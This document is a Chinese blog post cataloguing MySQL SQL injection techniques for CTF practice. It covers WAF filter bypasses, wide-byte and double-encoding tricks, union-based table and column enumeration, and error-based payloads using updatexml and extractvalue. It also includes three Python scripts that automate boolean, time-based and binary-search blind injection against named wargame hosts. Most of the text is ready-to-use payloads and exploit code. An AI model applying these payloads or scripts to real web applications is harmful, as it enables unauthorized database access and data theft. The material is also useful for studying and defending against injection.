注入的花式绕过姿势--向鸡哥学习

打了一次比赛,大佬们都说简单,我却什么都做不出来,真心受伤的一逼,是时候学习一波大佬的经验了,本次主要想要抄袭一下鸡哥的what a fuck总结,嗯嗯.

1.WAF绕过姿势

(1)大小写绕过

SQL语句中对大小写没有限制,但是PHP中函数经常对大小写敏感,所以用到的地方较少。

(2)双关键字

有一种waf保护的方法是删除select 、 union等关键字,所以有时用两遍可以达到意想不到的效果。

http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

(3)空格绕过

这个就比较有用了,下面列举一下可用之法

注释隔断关键词
select/**/*/**/from/**/yz;

url替换
select%0a*%0afrom%0ayz; %0a 是回车

内联注释
/*!select*//*!**//*!from*//*!yz*/;

括号截断,神器!
select(a)from(yz);
select(a)from(yz)where(a=1);

(4)二次编码

来自一道题目,用到了url的二次编码

$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();

%25转换之后时%

select * from yz
select * from  %2579%257a

(5)十六进制绕过(引号绕过)

用过爆库的童鞋都知道,有时候一般的爆库不行,需要用16进制绕过

select a from yz where b=0x32;
select * from yz where b=char(0x32);
select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)
select column_name  from information_schema.tables where table_name="users"
select column_name  from information_schema.tables where table_name=0x7573657273

(6)逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。
substr(),mid()

mid(user() from 1 for 1)
substr(user() from 1 for 1)
select substr(user()from -1) from yz ;

limit

selete * from testtable limit 2,1;
selete * from testtable limit 2 offset 1;

(7)比较符(<,>)绕过

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select strcmp(left(database(),1),0x32);#lpad('asd',2,0)
if(substr(id,1,1)in(0x41),1,3)

(8)注释符绕过

这就得佩服鸡哥的伟大了
在注入时的注释符一般为# –当两者不能用时就不能闭合引号

select 1,2,3 from yz where '1'/1=(1=1)/'1'='1

(1=1)中就有了判断位为下面的注入打下基础

(9)宽字节绕过

字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

(10)with rollup

一般结合group by使用

 select 1 as test from  yz group by test with rollup limit 1 offset 1;
+------+
| test |
+------+
| NULL |
+------+

2.正常注入的姿势

(1)得到字段总数

可以用order by查询,如果没有那么多列是会报错的,否则返回正常

select * from yz order by 3;
ERROR 1054 (42S22): Champ '3' inconnu dans order clause

也可以直接一个一个加列数尝试

id=-1 union select 1,2,3 
id=1 and 1=2 union select 1,2,3

(2)查看数据库

union select 1,version(),database()

(3)爆库爆表

查选表名

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

查询列名

id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六进制)

查看数据库内容,直接搜索即可

id=-1 union select 1,group_concat(username,password),3 from users

3.报错注入

group by 与 floor rand 函数的报错

payload
(select count(*) from (select 1 union select 2 union select 3)x group by concat(1,floor(rand(0)*2)))

报错需要count(*),rand()、group by,三者缺一不可。具体连接看这里吧
报错注入原理

下面是常用的鸡哥报错函数

1)extractvalue
extractvalue(1,concat(0x5c,(select 1)))
extractvalue(1,concat(0x5c,(select 1),0x5c,1))
2)updatexml
updatexml(1,concat(0x5c,(select 1)),0)
updatexml(1,concat(0x5c,(select 1),0x5c,1),0)

最近又出来了insert update的报错注入知识点如下
or 注入语句 or
整体式子为

INSERT INTO users (id, username, password) VALUES (2,'' or 注入语句 or'', '');

注意这个是有长度限制的,爆出来就32位,再长了爆不出来!

4.盲注

盲注的关键在于对payload的利用,直接上几个典型的盲注

(1)基于order by查询盲注

#_*_ coding:utf-8 _*_
import requests
url = 'http://aim.zhugeaq.com:83/index.php'
#data = {'username':"admin_r' union select 1,%s,2 order by 2#" ,'password':123}
flag = ''
for l in range(50):
    for i in range(0x31,0x7e):
        temp = flag +chr(i)
        username ="admin_r' union select 1,2,'%s' order by 3#"%temp
        #print username
        data = {'username':username ,'password':123}
        text = requests.post(url,data=data).text
        #print text
        if text == 'admin_r':
            flag+=chr(i-1)
            print 'flag is ',flag
            break

print 'the final flag is ',flag

(2)基于时间盲注

#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,100):
    havetry=0
    for str in guess:
        headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
        try: 
            res=requests.get(url,headers=headers,timeout=6)
        except requests.exceptions.ReadTimeout, e:
            havetry=1
            flag = flag + str
            print "flag:", flag
            break
    if havetry==0:
        break
print 'result:' + flag

(3)别管啥的二分盲注

盲注难免爆破字符,还是用二分法快一些

# coding:utf-8
import requests
from math import ceil
global string
string = ''

def charge(mid,i):#判断大小
    url='http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=if(ascii(substr((select group_concat(readme) from chat_log_secret),{0},1))<={1},10000000000,23334)'.format(str(i),str(mid))
    #
    s=requests.get(url=url)
    content=s.content
    length=len(content)
    #print length
    if length > 10 :
        return 0
    else:
        return 1

def dichotomie(l,r,i):#利用二分法查找

    mid = (l+r)/2
    #print "l and r ,mid:",l,r,mid
    if l == r:
        global string
        string += chr(r)
        print string
        return 0
    if charge(mid,i):#<=
        #print 0
        dichotomie(l,mid,i)
    else:
        #print 1
        dichotomie(int(ceil((l+r)*1.0/2)),r,i)


for i in range(1,100):
    dichotomie(32,127,i)
print string

(4)基于回显的盲注

在如下情况下

mysql> select flag from flag where ""^1^1;
Empty set, 1 warning (0.00 sec)

mysql> select flag from flag where ""^0^1;
+--------------------+
| flag               |
+--------------------+
| njctf{this_is_key} |
+--------------------+
1 row in set, 1 warning (0.00 sec)
不同可以用来盲注

通过控制中间的点可以构成盲注,当剩下select、mid、ascii、=、()未过滤的时候可以构成如下语句(用括号绕过了空格过滤)

mysql> select(ascii(mid((select(flag)from(flag))from(2)))=106);
+---------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(2)))=106) |
+---------------------------------------------------+
|                                                 1 |
+---------------------------------------------------+
1 row in set (0.00 sec)

5.MD5注入

$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";

当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'6<trash>'

提供一个字符串:ffifdyop

6.order by name 注入

这个我没见过…应该属于另外一种方法吧。
order by name id
id是一个注入点
可以利用if语句进行注入

order by name ,if(1=1,1,select 1 from information_schema.tables) 

如果为假则执行第二条语句,要么报错要么没有返回值。这属于盲注的一种。

7.order by的时间盲注

我们看一下下面语句

select flag from flag order by id 注入点 

这里也可以利用时间盲注,构造方法如下

mysql> select * from flag order by id,if(1=1,sleep(1),1);
+------+-------+------------------------+
| id   | user  | flag                   |
+------+-------+------------------------+
| 1    | admin | flag{flag_is_here}     |
| 2    | guest | flag{flag_is_not_here} |
| 3    | fuzz  | flag{admin_is_not_me}  |
+------+-------+------------------------+
3 rows in set (3.00 sec)

mysql> select * from flag order by id,if(1=0,sleep(1),1);
+------+-------+------------------------+
| id   | user  | flag                   |
+------+-------+------------------------+
| 1    | admin | flag{flag_is_here}     |
| 2    | guest | flag{flag_is_not_here} |
| 3    | fuzz  | flag{admin_is_not_me}  |
+------+-------+------------------------+
3 rows in set (0.00 sec)

23333

鸡哥强无敌!!!

顺手记下来几个mysql比较有趣的特性

1
mysql> select flag from flag where ""^1^1;
Empty set, 1 warning (0.00 sec)

mysql> select flag from flag where ""^0^1;
+--------------------+
| flag               |
+--------------------+
| njctf{this_is_key} |
+--------------------+
1 row in set, 1 warning (0.00 sec)
不同可以用来盲注
2
select flag from flag where 0
select flag from flag where 1
不同可以用来盲注
3

like前后如果是字符串的时候不需要空格

mysql> select 1 from flag where '1'like'2';
Empty set (0.00 sec)

mysql> select 1 from flag where '1'like'1';
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)

如果是后面跟着语句的时候居然也是可以的!!!

mysql> select 1 from flag where '1'like(select('a'));
Empty set (0.00 sec)

mysql> select 1 from flag where '1'like(select('1'));
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
4

当information什么的被过滤了怎么办!!!在已经知道最终列名的情况下可以通过如下函数进行找到库、表名!

polygon、multipoint、multilinestring、multipolygon、linestring
5

当我们进行报错注入的时候,如果限制了limit可以用group_concat将table的结果都链接起来

mysql> select user from flag ;
+-------+
| user  |
+-------+
| admin |
| guest |
| fuzz  |
+-------+
3 rows in set (0.00 sec)

mysql> select group_concat(user) from flag ;
+--------------------+
| group_concat(user) |
+--------------------+
| admin,guest,fuzz   |
+--------------------+
1 row in set (0.04 sec)
6

我们知道等号被过滤了可以用!<>代替,但是如果在where的部分该怎么办呢???
这么弄!!!

mysql> select flag from flag where id =1;
+--------------------+
| flag               |
+--------------------+
| flag{flag_is_here} |
+--------------------+
1 row in set (0.00 sec)

mysql> select flag from flag where !(id <>1);
+--------------------+
| flag               |
+--------------------+
| flag{flag_is_here} |
+--------------------+
1 row in set (0.12 sec)

真是长见识了!!1

评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值